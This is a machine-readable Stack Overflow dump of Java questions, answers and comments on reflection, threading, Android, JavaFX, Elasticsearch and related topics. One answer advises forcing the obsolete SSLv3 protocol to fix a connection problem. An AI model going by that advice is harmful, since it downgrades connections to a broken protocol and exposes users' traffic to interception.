http://stackoverflow.com/q/22205112
downvote count: 1
favorite count: 0
has body: I want to do this: Get a type from a name, and the fail a test if the message. I suppose it doesn't work because clazz is not a type. But how do I go about this? Class&lt;?&gt; clazz=Class.forName("com.android.test."+myEnum.toString()); if(myObj instanceof clazz) Assert.fail();
tagged with: instanceof
upvote count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/949352
has answer: http://stackoverflow.com/a/22205240
has answer: http://stackoverflow.com/a/22205250
tagged with: java
has title: Check instanceof a type from name
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/33710690
score: -1
tagged with: class
tagged with: types

http://stackoverflow.com/comment/33698014
comment on: http://stackoverflow.com/q/22198420
has text: from where you want to get the text inside those JTextFields and do you know that there are no values yet inside them ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22225959
favorite count: 0
has comment: http://stackoverflow.com/comment/33748433
has title: How to copy a file from one URL to another without storing on local machine
accepted answer: http://stackoverflow.com/a/22227021
type: AnsweredQuestion
score: 1
tagged with: java
tagged with: file
tagged with: vfs
upvote count: 1
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22226498
has comment: http://stackoverflow.com/comment/33750728
has answer: http://stackoverflow.com/a/22227021
tagged with: copy
possible better answer: http://stackoverflow.com/a/22226498
has comment: http://stackoverflow.com/comment/33749235
has body: I am developping a DeployIt-like application, where a file (for example a JAR) has to be copied from one server and pasted to another. The most important aspect of this is that it has to be done atomically, without intermediate environments (like localhost). I have managed to copy a file from one server to the local machine and then to the target server, but this operation is time-consuming and we cannot afford that. URL url = new URL(path); File result = new File("C:\\" + fileName); FileUtils.copyURLToFile(url, result); // copy to local machine FileObject localFile = manager.resolveFile(f.getAbsolutePath()); FileObject remoteFile = manager.resolveFile( createConnectionString(hostname, username, password, remoteFilePath, f.getName()), createDefaultOptions()); remoteFile.copyFrom(localFile, Selectors.SELECT_SELF); // copy to target server How can I do that in one step?
has comment: http://stackoverflow.com/comment/33747246
downvote count: 0
tagged with: url
has comment: http://stackoverflow.com/comment/33747380

http://stackoverflow.com/q/22210277
has comment: http://stackoverflow.com/comment/33721204
has comment: http://stackoverflow.com/comment/56478545
tagged with: design-patterns
has body: I really need your help regarding a design pattern which I can use, because right now I can't think of the best solution. I need something which can accomplish the following thing. Currently I have 3 objects : NotificationOne.java NotificationTwo.java NotificationThree.java Each one, represents basically the same thing, but they have nothing in common when it comes to fields/attributes. These are actually some JSON's which I will map into objects, when they arrive via a JMS Queue. Now, what I really need to do, is to transform these 3 objects to a common object, by interpreting their fields in a particular way for each one. Easy to done 'till now. The real question is, what would be the best design pattern to apply, considering that in time, there will be more and more types of Notifications which will have to be transformed from something to a common object. The flow of things will be something like this : -JSON gets in the queue -I will map the JSON to a POJO -Pass the POJO to a possible factory, which will have to deal with each type of Notification class, so it can transform it into something which we'll call it CommonNotification. -CommonNotification has to be stored into DB -A particular field of CommonNotification has to be used as a notification payload. Based on this flow, what's the best pattern which I can use. Thanks in advance.
has comment: http://stackoverflow.com/comment/33723057
score: 1
tagged with: java
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33731679
has title: Design pattern request for event queue entries
answer count: 2
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22220046
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22220268

http://stackoverflow.com/a/22247594
score: 0
answers question: http://stackoverflow.com/q/22247538
type: Answer
has body: public static void main(String[] args) throws Exception { String[] all = new String[15]; String[] some = new String[] { "one", "two", "three" }; String[] more = new String[] { "four", "five" }; System.arraycopy(some, 0, all, 0, some.length); System.arraycopy(more, 0, all, some.length, more.length); for (String value : all) System.out.println(value); }

http://stackoverflow.com/a/22350063
has comment: http://stackoverflow.com/comment/33970567
score: 1
upvote count: 1
has body: Which version of Hibernate Validator are you using? I checked with the latest version (5.1.0.Final) and there it works. If you can I recommend you upgrade. You can also create an issue in the Validator issue tracker, reporting your problem and in particular which Validator version you are using. Last but not least, to answer your question about alternatives. You could use the Bean Validation metadata API to find the constrained properties: validator.getConstraintsForClass(Foo.class).getConstrainedProperties() This will allow you to process only the properties which are acually constrained.
downvote count: 0
answers question: http://stackoverflow.com/q/22312312
type: Answer

http://stackoverflow.com/q/22310659
has comment: http://stackoverflow.com/comment/33904955
has answer: http://stackoverflow.com/a/22310989
type: UnansweredQuestion
tagged with: listview
answer count: 2
tagged with: sqlite
type: Question
has answer: http://stackoverflow.com/a/54843286
tagged with: android
has comment: http://stackoverflow.com/comment/33904495
has body: I have an existing ListView which is filled with some informations from an sqlite database. The user can create a profile of a dog. After creating some profiles the list looks like that: Example (Sorry for the link but I need 10 Rep for a direct picture) As you see there is place for a pictures (dog images). While creating a profile the user can add a picture from his dog which is safed in the internal storage /Android/data/Files/*.jpg (I don't want to add it to the sqlite database). The name with which it get safed equals the id of the table row in the SQLite database. Let's say I add a new dog and the id of the row is 134 the the name of the picture is "134.jpg" Well but atm I have no idea how to add this picture into the ListView. Any help is welcome! Last but not least a peace of code how I fetch the data from sqlite: private void fillData() { mNotesCursor = helper.fetchAllData(); String[] from = new String[] { MyDatabaseAdapter.MySQLiteHelper.NAME, MyDatabaseAdapter.MySQLiteHelper.PASSWORD, MySQLiteHelper.CB_GETREIDE, MySQLiteHelper.CB_FASTENTAG, MySQLiteHelper.CB_WOCHENPLAN, MySQLiteHelper.CB_DIET, MySQLiteHelper.SP_ART }; // Fields on the UI to which we map int[] to = new int[] { R.id.label, R.id.gewicht, R.id.getreide, R.id.fastentag, R.id.wochenplan, R.id.diet, R.id.spinner }; adapter = new SimpleCursorAdapter(getActivity(), R.layout.hundeliste_item, mNotesCursor, from, to, 0); mMyListView.setAdapter(adapter); } If you need more infos please ask, but I think the important thing I need is more or less the hint/idea how to add the pivture into the listview edit: (because of the Merlevede's answers) Thanks @Merlevede I tryed the following: //... see post #1 for the upper code part adapter = new SimpleCursorAdapter(getActivity(), R.layout.hundeliste_item, mNotesCursor, from, to, 0); adapter.setViewBinder(new SimpleCursorAdapter.ViewBinder(){ // Binds the Cursor column defined by the specified index to the specified view public boolean setViewValue(View view, Cu…
score: 0
tagged with: java
has title: Use SimpleCursorAdapter with Image (path stored in SQLite)
linked to: http://stackoverflow.com/q/8510335

http://stackoverflow.com/a/22223716
has comment: http://stackoverflow.com/comment/33745301
score: 1
has comment: http://stackoverflow.com/comment/33747792
answers question: http://stackoverflow.com/q/22223235
downvote count: 0
has comment: http://stackoverflow.com/comment/33747629
type: Answer
has body: I would personally go for option 1 (as I recently have). You are basically describing a Strategy pattern (a combination of both options actually). The only problematic thing you may have with that approach is getting the class names to enter into the combo box. You will also need to add an object that creates the instance for you. if you do new Algorithmx you will need to add another such statement for each algorithm you add which is against the requirements you stated. public class AlgorithmStrategy { public static final Algorithm getAlgorithm(String className) { Algorithm algorithm = null; String name = "&lt;package algorithms are in&gt;." + className; try { algorithm = (Algorithm)Class.forName(name).newInstance(); } catch (InstantiationException | IllegalAccessException | ClassNotFoundException e) { e.printStackTrace(); } return algorithm; } } In this example Algorithm is your interface. Create each concrete class to implement your interface and work out your priorities accordingly. Use like: Algorithm algorithm = AlgorithmStrategy.getAlgorithm("Algorithmx"); Where "Algorithmx" is retrieved from your combo
has comment: http://stackoverflow.com/comment/33744171
upvote count: 1

http://stackoverflow.com/comment/33715765
type: AnswerComment
has text: Thanks, how can I include it into the if statement?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22207906

timer
tags question: http://stackoverflow.com/q/22286862
tag name: timer
tags question: http://stackoverflow.com/q/22208879
tags question: http://stackoverflow.com/q/22291016
tags question: http://stackoverflow.com/q/22215043
type: Tag
tags question: http://stackoverflow.com/q/22286052
tags question: http://stackoverflow.com/q/22177863
tags question: http://stackoverflow.com/q/22286218
tags question: http://stackoverflow.com/q/22321802
tags question: http://stackoverflow.com/q/22319199
tags question: http://stackoverflow.com/q/22234831
tags question: http://stackoverflow.com/q/22277093
tags question: http://stackoverflow.com/q/22261886
tags question: http://stackoverflow.com/q/22273746
tags question: http://stackoverflow.com/q/22309066
tags question: http://stackoverflow.com/q/22200440

http://stackoverflow.com/comment/33729299
type: QuestionComment
comment on: http://stackoverflow.com/q/22195022
has text: well i m using spring web flow. and it has two flows like admin and manager, i need to choose between this two flows as per the responsibility of the user. By googling i got a hint that i could use sub flows.. But i coud'nt find the exact way to achieve it.
score: 0
type: Comment

http://stackoverflow.com/a/22202655
answers question: http://stackoverflow.com/q/22202583
type: Answer
downvote count: 0
score: 1
has body: Use relative paths. For example if your application is at C:\Users\Tomi\Documents\Eclipse\ProyectoWeb then use WebContent\datos.txt as the path. Then even if you move your application it will still look for the folder WebContent in the folder the application is running in then datos.txt within that.
upvote count: 1

http://stackoverflow.com/a/22175055
has comment: http://stackoverflow.com/comment/33658430
has comment: http://stackoverflow.com/comment/33656536
type: Answer
has comment: http://stackoverflow.com/comment/33658267
downvote count: 0
has comment: http://stackoverflow.com/comment/33656409
has comment: http://stackoverflow.com/comment/33656438
answers question: http://stackoverflow.com/q/22174994
has body: The JVM specification section 2.6.1 seems to think that it only depends on whether it's a static (class) method or an instance method: The Java Virtual Machine uses local variables to pass parameters on method invocation. On class method invocation, any parameters are passed in consecutive local variables starting from local variable 0. On instance method invocation, local variable 0 is always used to pass a reference to the object on which the instance method is being invoked (this in the Java programming language). Any parameters are subsequently passed in consecutive local variables starting from local variable 1. That's in terms of the initial values of the local variables; see Mike Strobel's answer for an example where it's explicitly changed during the method.
score: 7
has comment: http://stackoverflow.com/comment/33656402
upvote count: 7
has comment: http://stackoverflow.com/comment/33656475

http://stackoverflow.com/q/22301169
score: 4
favorite count: 0
answer count: 3
tagged with: android
upvote count: 4
type: UnansweredQuestion
has title: Android parse special characters in json response
has body: In my Android application I get JSON response string from a PHP url. from the response I get some hotel names with apostrophe, I get &amp;#039 character instead of apostrophe. How can I parse the hotel with special characters in android? I can see the apostrophe in the browser but could not see in android logcat. I have tried jresponse = URLEncoder.encode(jresponse,"UTF-8"); but I could not get apostrophe for hotel name. This is the one of the hotel name in the response. I see the following in browser. {"id":12747, "name":"Oscar's", .... } But in the logcat: id 12747 name Oscar&amp;#039;s
tagged with: urlencode
has answer: http://stackoverflow.com/a/34657867
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/22301246
type: Question
has answer: http://stackoverflow.com/a/22301490
tagged with: android-parser
downvote count: 0

http://stackoverflow.com/q/22252056
has title: CamelContext.getRoutes() return size =0 until context started
score: 0
has body: I am doing CamelContext.addRoutes() in a loop and at the end if I check CamelContext.getRoutes().size() it return 0 until context is started. Start context only if any route is added. I want to know if it is expected behaviour or is it a but. I think its a defect. Please let me know this is as expectected or if I need to post this question in any camel specific forum.
has answer: http://stackoverflow.com/a/22253147
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22253622
tagged with: java
tagged with: apache-camel
type: Question
answer count: 2

http://stackoverflow.com/comment/33922381
has text: I might help to look at some [documentation](http://docs.mongodb.org/manual/reference/method/cursor.sort/) For to have produced the code you have without understanding the usage of sort it can only be copied code. Some reading would help you. The standard documentation is not hard to apply to the Java methods.
comment on: http://stackoverflow.com/q/22322723
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33839752
score: 0
has text: Anytime! Happy coding :)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22276194

http://stackoverflow.com/comment/33881443
score: 0
type: Comment
type: QuestionComment
has text: Hi mvreijn, so what's the way out of this, searching user by UPN, Any help on this?
comment on: http://stackoverflow.com/q/22285357

http://stackoverflow.com/comment/34165458
comment on: http://stackoverflow.com/a/22297154
type: Comment
has text: I am using the client code here: http://activemq.apache.org/how-should-i-implement-request-response-with-jms.html (MessageProducer, not ProducerTemplate)
score: 0
type: AnswerComment

http://stackoverflow.com/q/22321199
has answer: http://stackoverflow.com/a/22321259
answer count: 6
score: 0
tagged with: multidimensional-array
has title: Double Dimension Arrays Java
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33919599
has answer: http://stackoverflow.com/a/22321288
has body: My code works perfectly fine though i don't know how to print the number of the row before the word "row". It should be Row 1, Row 2, and so on. Any clues on how to do it? And also a clue to store these strings in a simpler way. Thank youuu :) System.out.println("\t A \t B \t C \t D \t E \t F"); String [][] TwoDim = new String[13][6]; TwoDim[0][0] = "*"; TwoDim[0][1] = "*"; TwoDim[0][2] = "X"; TwoDim[0][3] = "*"; TwoDim[0][4] = "X"; TwoDim[0][5] = "X"; TwoDim[1][0] = "*"; TwoDim[1][1] = "X"; TwoDim[1][2] = "*"; TwoDim[1][3] = "X"; TwoDim[1][4] = "*"; TwoDim[1][5] = "X"; TwoDim[2][0] = "*"; TwoDim[2][1] = "*"; TwoDim[2][2] = "X"; TwoDim[2][3] = "X"; TwoDim[2][4] = "*"; TwoDim[2][5] = "X"; TwoDim[3][0] = "X"; TwoDim[3][1] = "*"; TwoDim[3][2] = "X"; TwoDim[3][3] = "*"; TwoDim[3][4] = "X"; TwoDim[3][5] = "X"; TwoDim[4][0] = "*"; TwoDim[4][1] = "X"; TwoDim[4][2] = "*"; TwoDim[4][3] = "X"; TwoDim[4][4] = "*"; TwoDim[4][5] = "*"; TwoDim[5][0] = "*"; TwoDim[5][1] = "X"; TwoDim[5][2] = "*"; TwoDim[5][3] = "*"; TwoDim[5][4] = "*"; TwoDim[5][5] = "X"; TwoDim[6][0] = "X"; TwoDim[6][1] = "*"; TwoDim[6][2] = "*"; TwoDim[6][3] = "*"; TwoDim[6][4] = "X"; TwoDim[6][5] = "X"; TwoDim[7][0] = "*"; TwoDim[7][1] = "X"; TwoDim[7][2] = "*"; TwoDim[7][3] = "X"; TwoDim[7][4] = "X"; TwoDim[7][5] = "*"; TwoDim[8][0] = "X"; TwoDim[8][1] = "*"; TwoDim[8][2] = "X"; TwoDim[8][3] = "X"; TwoDim[8][4] = "*"; TwoDim[8][5] = "X"; TwoDim[9][0] = "*"; TwoDim[9][1] = "X"; TwoDim[9][2] = "*"; TwoDim[9][3] = "X"; TwoDim[9][4] = "X"; TwoDim[9][5] = "X"; TwoDim[10][0] = "*"; TwoDim[10][1] = "*"; TwoDim[10][2] = "X"; TwoDim[10][3] = "*"; TwoDim[10][4] = "X"; TwoDim[10][5] = "*"; TwoDim[11][0] = "*"; TwoDim[11][1] = "*"; TwoDim[11][2] = "X"; TwoDim[11][3] = "X"; TwoDim[11][4] = "*"; TwoDim[11][5] = "X"; TwoDim[12][0] = "*"; TwoDim[12][1] = "*"; TwoDim[12][2] = "*"; TwoDim[12][3] = "*"; TwoDim[12][4] = "X"; TwoDim[12][5] = "*"; for(int i = 0; i&lt;13; i++){ System.out.print("Row \t"); for(int j = 0; j &lt;6; j++…
has answer: http://stackoverflow.com/a/22321267
has answer: http://stackoverflow.com/a/22321250
has comment: http://stackoverflow.com/comment/33919844
tagged with: java
type: Question
tagged with: for-loop
has answer: http://stackoverflow.com/a/22321274
has answer: http://stackoverflow.com/a/22321282

http://stackoverflow.com/comment/44472465
has text: Concerning EclEmma you can have a look at this answer: http://stackoverflow.com/a/28015212/584532
score: 0
comment on: http://stackoverflow.com/q/22182618
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22270172
has comment: http://stackoverflow.com/comment/33830157
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22269271
has comment: http://stackoverflow.com/comment/33830597
has body: Try this ArrayList&lt;String&gt; values = new ArrayList&lt;String&gt;(); ArrayList&lt;String&gt; keys = new ArrayList&lt;String&gt;(); java.util.Iterator&lt;Entry&lt;String, String&gt;&gt; iterate = map.entrySet() .iterator(); while (iterate.hasNext()) { Entry mapEntry = iterate.next(); String key = (String) mapEntry.getKey(); String value = (String) mapEntry.getValue(); values.add(value); keys.add(key); } for (int i = 0; i &lt; values.size(); i++) { if (Collections.frequency(values, values.get(i)) &gt; 1) { map.remove(keys.get(i)); } } System.out.println(map.toString());

http://stackoverflow.com/comment/33671872
type: QuestionComment
score: 0
has text: @peter.petrov The problem is: Sometimes thread2 never gets a chance to run. The correct output should show two Reader threads: thread2 and thread3 both read from the list concurrently.
comment on: http://stackoverflow.com/q/22183354
type: Comment

http://stackoverflow.com/q/22223139
has comment: http://stackoverflow.com/comment/33743525
tagged with: jvm
has comment: http://stackoverflow.com/comment/33742602
tagged with: multithreading
has comment: http://stackoverflow.com/comment/33742412
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22223938
accepted answer: http://stackoverflow.com/a/22223938
possible better answer: http://stackoverflow.com/a/22223381
tagged with: java
has title: Daemon Thread prevents JVM from terminating - possible reasons?
type: Question
has body: I need to develop a maven plugin that can start an apache ftp-server, run it as a daemon (does not halt the build process) and stop it as another goal. Unfortunately my first attempt to with daemon threads fails: public class FtpServerDaemon { public static void main(final String[] args) throws Exception { Thread thread = new Thread(new Runnable() { @Override public void run() { org.apache.ftpserver.main.Daemon.main(args); } }); thread.setDaemon(true); thread.start(); Thread.sleep(10000); } } The bad thing here is that the JVM does not terminate after 10 seconds but it runs indefinitely. If the Daemon.main is a black-box code (however the source is available), what can prevent the JVM from terminating in a daemon thread?
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/22223381
has comment: http://stackoverflow.com/comment/33742662

http://stackoverflow.com/comment/33757452
type: Comment
has text: That's up to the designer of whoever is writing this software. If this is an incorrect input, they need to plan for this case and make sure it's handled reasonably.
comment on: http://stackoverflow.com/a/22204470
type: AnswerComment
score: 0

http://stackoverflow.com/q/22317448
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/24930157
has comment: http://stackoverflow.com/comment/34142451
has body: I'm trying to configure Sencha CMD in Jenkins. I have added the classpath of Sencha in bash_profile. If I try to invoke Sencha CMD on console, it works without any issues, but if I try invoke Sencha CMD through Jenkins I'm observing this error Execute failed: java.io.IOException: Cannot run program "sencha": error=2, No such file or directory at java.lang.ProcessBuilder.start(ProcessBuilder.java:1041) at java.lang.Runtime.exec(Runtime.java:617) at org.apache.tools.ant.taskdefs.launcher.Java13CommandLauncher.exec(Java13CommandLauncher.java:41) at org.apache.tools.ant.taskdefs.Execute.launch(Execute.java:428) at org.apache.tools.ant.taskdefs.Execute.execute(Execute.java:442) at org.apache.tools.ant.taskdefs.ExecTask.runExecute(ExecTask.java:628) at org.apache.tools.ant.taskdefs.ExecTask.runExec(ExecTask.java:669) at org.apache.tools.ant.taskdefs.ExecTask.execute(ExecTask.java:495) at org.apache.tools.ant.UnknownElement.execute(UnknownElement.java:292) at sun.reflect.GeneratedMethodAccessor4.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:606) at org.apache.tools.ant.dispatch.DispatchUtils.execute(DispatchUtils.java:106) at org.apache.tools.ant.Task.perform(Task.java:348) at org.apache.tools.ant.Target.execute(Target.java:435) at org.apache.tools.ant.Target.performTasks(Target.java:456) at org.apache.tools.ant.Project.executeSortedTargets(Project.java:1393) at org.apache.tools.ant.Project.executeTarget(Project.java:1364) at org.apache.tools.ant.helper.DefaultExecutor.executeTargets(DefaultExecutor.java:41) at org.apache.tools.ant.Project.executeTargets(Project.java:1248) at org.apache.tools.ant.Main.runBuild(Main.java:851) at org.apache.tools.ant.Main.startAnt(Main.java:235) at org.apache.tools.ant.launch.Launcher.run(Launcher.java:280) at org.apache.tools.ant.launch.Launcher.main(Launcher.java:109) Caused by: java.io.IOException: error=2, No such file or dire…
tagged with: jenkins
tagged with: java
upvote count: 1
has comment: http://stackoverflow.com/comment/38692634
downvote count: 1
has comment: http://stackoverflow.com/comment/34141849
type: Question
tagged with: ant
tagged with: extjs
score: 0
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/34029874
has title: Jenkins unable to invoke SENCHA CMD

http://stackoverflow.com/a/22433549
downvote count: 0
answers question: http://stackoverflow.com/q/22318729
score: 4
has body: It is a hard to say what causing this. You need to find out by analyzing the logs. Enable debug by setting property: System.setProperty("javax.net.debug", "all"); and check what is wrong. A problem may be that the server is not supporting TLS, which may be picked by the implementation. To make sure that you always use the plain SSLv3 set the property: System.setProperty("https.protocols", "SSLv3");
type: Answer
upvote count: 4

http://stackoverflow.com/q/22258137
tagged with: java
type: Question
score: 0
has body: I'm writing a server-client application. I have three classes, namely, Server.java, TestServer.java, Client.java. TestServer and Client are for testing my Server class. In Server.java I have two functions receiveInput and sendOutput for sending and receiving messages to/from client. I'm running each two function in two separate threads. Two functions are something like this one: public void sendOutput(){ BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in)); try{ DataOutputStream out = new DataOutputStream(client.getOutputStream()); while(continueRunning){ if(!(messageToBeSent = stdIn.readLine()).equals("/exit")) out.writeUTF(messageToBeSent); }else{ continueRunning = false; } } }catch(IOException e){ System.out.println("Error: sending message"); System.out.println(e); } } Application works fine but I want to close two threads simultaneously when I type /exit either from client or from server. But, for example, when I type /exit from client, the thread which runs receiveInput function stops running and sets continueRunning variable to false. In order for other thread to stop I need to type something so that the loop runs once and the thread sees that continueRunning was set to false and stops running. How can I stop one thread immediately after other is stopped? Hope I was clear, Thanks.
answer count: 2
has answer: http://stackoverflow.com/a/22259336
has answer: http://stackoverflow.com/a/22258407
type: UnansweredQuestion
tagged with: multithreading
has title: Closing one thread when another thread is closed in Java

http://stackoverflow.com/a/22205985
type: AcceptedAnswer
has body: Each call to public void meth2() { A a1 = new A(); a1.meth1(); } creates a new A object. synchronized on the method synchronizes on this, the object itself. Therefore, you are synchronizing on different objects. One synchronized call doesn't prevent the other synchronized call as both threads get different monitors.
type: Answer
accepted answer of: http://stackoverflow.com/q/22205850
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/22205850
upvote count: 2
has comment: http://stackoverflow.com/comment/33712452

http://stackoverflow.com/q/22326437
tagged with: facet
type: UnansweredQuestion
tagged with: elasticsearch
answer count: 0
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/33932231
has title: ElasticSearch histogram facet exception
type: Question
has body: When I execute this query on my events index: { "query": { "query_string": { "query": "*" } }, "facets": { "histo1": { "histogram": { "key_field": "authorid", "value_field": "article", "interval": 10 } } } } I get the error: "error": "SearchPhaseExecutionException[Failed to execute phase [query], all shards failed; shardFailures {[_2jzw4DMR9mSnl5vLIK_4A][events][0]: SearchParseException[[events][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{\r\n\t\"query\": { \r\n\t\t\"query_string\": {\r\n\t\t\t\"query\": \"*\"\r\n\t\t} \r\n\t},\r\n\t\"facets\": {\r\n\t\t\"histo1\": {\r\n\t\t\t\"histogram\": { \r\n\t\t\t\t\"key_field\": \"authorid\",\r\n\t\t\t\t\"value_field\": \"article\",\r\n\t\t\t\t\"interval\": 10\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}]]]; nested: ClassCastException[org.elasticsearch.index.fielddata.plain.PagedBytesIndexFieldData cannot be cast to org.elasticsearch.index.fielddata.IndexNumericFieldData]; }{[_2jzw4DMR9mSnl5vLIK_4A][events][2]: SearchParseException[[events][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{\r\n\t\"query\": { \r\n\t\t\"query_string\": {\r\n\t\t\t\"query\": \"*\"\r\n\t\t} \r\n\t},\r\n\t\"facets\": {\r\n\t\t\"histo1\": {\r\n\t\t\t\"histogram\": { \r\n\t\t\t\t\"key_field\": \"authorid\",\r\n\t\t\t\t\"value_field\": \"article\",\r\n\t\t\t\t\"interval\": 10\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}]]]; nested: { goes on and on this way... } Both the key_field and the value_field exist. When I leave out the facets part of the query, it will query successfully. Any ideas?
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/33938338

http://stackoverflow.com/comment/33764726
type: Comment
type: QuestionComment
has text: try `org.apache.tika.filetypedetector.TikaFileTypeDetector.probeContentType`.
score: 0
comment on: http://stackoverflow.com/q/22234339

http://stackoverflow.com/q/22311197
upvote count: 1
answer count: 1
tagged with: java
tagged with: scenebuilder
tagged with: javafx
has answer: http://stackoverflow.com/a/22311227
has body: I'm working with javafx and scene builder for the first time and from what I understand, the fx:id you create in scene builder for an object must match that object's variable name in the related controller class. For the GUI I'm writing right now, all the buttons follow that but when I add a ContextMenu, I get an error when the names match. HOWEVER, if I change the fx:id to NOT match the variable name in the controller class, the program will run. What is going on!? EClassDTAT.fxml &lt;contextMenu&gt; &lt;ContextMenu fx:id="BasicShapesCST"&gt; &lt;items&gt; &lt;MenuItem mnemonicParsing="false" text="Circle" fx:id="BSCircle" /&gt; &lt;MenuItem mnemonicParsing="false" text="Square" fx:id="BSSquare" /&gt; &lt;MenuItem mnemonicParsing="false" text="Triangle" fx:id="BSTriangle" /&gt; &lt;/items&gt; &lt;/ContextMenu&gt; &lt;/contextMenu&gt; EClassDTATController.java @FXML private MenuItem BSCircle; @FXML private MenuItem BSSquare; @FXML private MenuItem BSTriangle; @FXML private ContextMenu BasicShapesCST; Again to clarify, when the names match, I get an error, when the names mismatch, the program runs. Here is the error: Can not set com.sun.webpane.platform.ContextMenu fieldapplication.EClassDTATController.BasicShapesCST to javafx.scene.control.ContextMenu /GUIworkspace/GUIs/bin/application/EClassDTAT.fxml:101
type: AnsweredQuestion
downvote count: 0
type: Question
accepted answer: http://stackoverflow.com/a/22311227
score: 1
tagged with: javafx-2
favorite count: 0
has title: Mismatching Javafx fx:id and variable name in controller class

http://stackoverflow.com/comment/127626046
type: AnswerComment
has text: Beware that ftp on Linux systems seems to have suddenly started enforcing CRLF and spitting out the "bare linefeeds received" error. wget, curl, filezilla work, cli ftp does not.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22180177

http://stackoverflow.com/q/22325792
type: AnsweredQuestion
downvote count: 0
favorite count: 0
has title: Compare two vectors in java?
has answer: http://stackoverflow.com/a/22325978
type: Question
has comment: http://stackoverflow.com/comment/33927548
has body: I want to compare these two vectors so that it will return how many Patients are also students. I was given the main and i've added to the HistAndMarks method but it doesnt seem to work. The main confusion is with the HistAndMarks method and how i would compare two vectors. Thanks import java.util.*; public class Ex6 { public static int count = 0; public static void main(String[] a) { Vector&lt;Patient&gt; P = new Vector&lt;Patient&gt;(); Vector&lt;Student&gt; S = new Vector&lt;Student&gt;(); int i=Integer.parseInt(a[0]); if (i==0) { P.add(new Patient("Jimmy1","1","d")); P.add(new Patient("Jimmy2","1","d")); P.add(new Patient("Jimmy3","1","d")); P.add(new Patient("Jimmy","1","d")); S.add(new Student("Jimmy1","1",null) ); S.add(new Student("Jimmy2","1",null) ); S.add(new Student("Jimmy3","1",null) ); S.add(new Student("Lisa","1",null) ); System.out.println(new Ex6().HistAndMarks(P,S)); } if (i==1) { P.add(new Patient("Jimmy","1","d")); S.add(new Student("Jimmy1","1",null) ); System.out.println(new Ex6().HistAndMarks(P,S)); } if (i==2) System.out.println(new Ex6().HistAndMarks(P,null)); } public static int HistAndMarks (Vector&lt;Patient&gt; P, Vector&lt;Student&gt; S) { for(int i = 0; i &gt; P.size(); i++){ for(int z = -1; z &gt; S.size(); z++){ Patient Pnew = P.get(i); Student Snew = S.get(z + 1); if(P.contains(S)){ count = count + 1; } } } return count; } }
upvote count: 2
tagged with: java
answer count: 2
has comment: http://stackoverflow.com/comment/33927434
has comment: http://stackoverflow.com/comment/33927682
has comment: http://stackoverflow.com/comment/33927675
accepted answer: http://stackoverflow.com/a/22325978
possible better answer: http://stackoverflow.com/a/22325932
has comment: http://stackoverflow.com/comment/33927475
has answer: http://stackoverflow.com/a/22325932
tagged with: vector
score: 2

http://stackoverflow.com/comment/33673630
type: AnswerComment
has text: @user3349062 A naive solution would be to iterate the entire 2d array, as I've shown above, until you find `'S'`. Then your index would be `y, x` at that moment.
type: Comment
comment on: http://stackoverflow.com/a/22184007
score: 0

http://stackoverflow.com/comment/33890072
type: AnswerComment
comment on: http://stackoverflow.com/a/22304223
type: Comment
has text: Silly mistake and ended up staring at the screen over an hr for that. Tnks.
score: 0

http://stackoverflow.com/comment/33650377
has text: Are you sure? I get java.lang.NoSuchFieldException: serialVersionUID
type: AnswerComment
comment on: http://stackoverflow.com/a/22170334
score: 0
type: Comment

http://stackoverflow.com/comment/33794358
type: QuestionComment
type: Comment
score: 0
has text: @CasimiretHippolyte. Here * means any text.
comment on: http://stackoverflow.com/q/22251660

http://stackoverflow.com/comment/33827385
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22268975
has text: 6/7. Create an Executor that can execute a number (say 5 or maybe 10) Threads at a time: http://developer.android.com/reference/java/util/concurrent/Executors.html#newFixedThreadPool(int) and using this load the resources and subsequently store them. So a Thread is done here, if it has downloaded and stored it's resource. AND decremented the Thread counter (as indicted in my answer) 8. If Thread counter == 0 do something on the UI Thread
score: 1

http://stackoverflow.com/comment/33838951
comment on: http://stackoverflow.com/q/22275886
has text: @BoristheSpider Come on, this is too harsh IMHO. I've seem much more and better interweaved spaghetti produced by some professionals.
score: 0
type: Comment
type: QuestionComment

gmail
type: Tag
tags question: http://stackoverflow.com/q/22293464
tag name: gmail

http://stackoverflow.com/comment/121859787
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/61053346
score: 3
has text: Note that the `java.net.URI` constructor throws a checked exception. Use convenience static factory method `java.net.URI.create` instead for strings you know are valid.

http://stackoverflow.com/comment/33810873
type: Comment
type: QuestionComment
has text: Find out the name! Thanks!
comment on: http://stackoverflow.com/q/22259809
score: 0

http://stackoverflow.com/a/24110085
score: 4
has body: While looking for an answer for this, I found xdg-java. I haven't tested it yet but seems to do exactly what you (and I) want. It doesn't yet implement all the specifications but it does implement the ones I need for now and I would guess the author would be receptive to patches.
type: Answer
upvote count: 4
downvote count: 0
